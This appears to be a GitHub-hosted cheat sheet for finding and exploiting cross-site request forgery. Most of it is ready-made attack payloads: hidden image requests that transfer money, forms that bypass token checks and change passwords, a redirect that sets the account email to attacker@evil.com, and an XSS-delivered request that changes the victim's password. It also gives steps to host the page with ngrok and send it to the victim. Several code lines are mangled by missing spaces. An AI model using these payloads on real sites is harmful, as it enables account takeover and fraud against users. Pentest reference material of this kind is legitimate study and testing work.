You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
1. Capture authenticated request (password change, email update, etc.)
2. Check if CSRF token exists in request
3. Test if request works without token
4. Test if token is validated properly
Things to Look For
Element
Vulnerable If
CSRF Token
Missing or not validated
Referer Header
Not checked
SameSite Cookie
Set to None or missing
Content-Type
Not strictly validated
GET-based CSRF
Basic Attack
<!-- Image tag (invisible request) --><imgsrc="http://target.com/transfer?to=attacker&amount=1000" style="display:none"><!-- Link --><ahref="http://target.com/change_password?new_password=hacked">Click here!</a><!-- Redirect --><script>window.location="http://target.com/change_email?email=attacker@evil.com";</script>
<!-- Try submitting without the token parameter --><formaction="http://$rhost/change_password" method="POST"><inputtype="hidden" name="password" value="hacked" /><!-- No csrf_token --></form>
2. Use Empty Token
<inputtype="hidden" name="csrf_token" value="" />
3. Use Another User's Token
<!-- Tokens not tied to session --><inputtype="hidden" name="csrf_token" value="attacker_valid_token_here" />
4. Reuse Old Token
<!-- Token not invalidated after use --><inputtype="hidden" name="csrf_token" value="previously_used_token" />
5. Token in Cookie (Double Submit)
<script>// Set cookie with fake tokendocument.cookie="csrf_token=fake_token; path=/";</script><formaction="http://$rhost/action" method="POST"><inputtype="hidden" name="csrf_token" value="fake_token" /></form>
6. Method Override
<!-- Change POST to GET if token only checked on POST --><imgsrc="http://$rhost/change_password?password=hacked&_method=POST">
<!-- If SameSite=Lax, use GET method --><imgsrc="http://$rhost/action?password=hacked"><!-- Or use top-level navigation --><ahref="http://$rhost/action?password=hacked">Click</a>
1. Identify state-changing actions (password change, email update, etc.)
2. Capture the request with Burp Suite
3. Generate CSRF PoC (Burp: Right-click → Engagement tools → Generate CSRF PoC)
4. Test if request works:
- Without token
- With empty token
- With different token
- With reused token
5. Host PoC on attacker server
6. Send link to victim / Submit via XSS
Hosting CSRF Payload
Python HTTP Server
# Host CSRF page
python3 -m http.server 8080
# With ngrok for external access
ngrok http 8080
PHP Server
php -S 0.0.0.0:8080
Combined with XSS
<!-- Use XSS to execute CSRF without user visiting attacker page --><script>varxhr=newXMLHttpRequest();xhr.open("POST","/change_password",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send("password=hacked&cpassword=hacked");</script>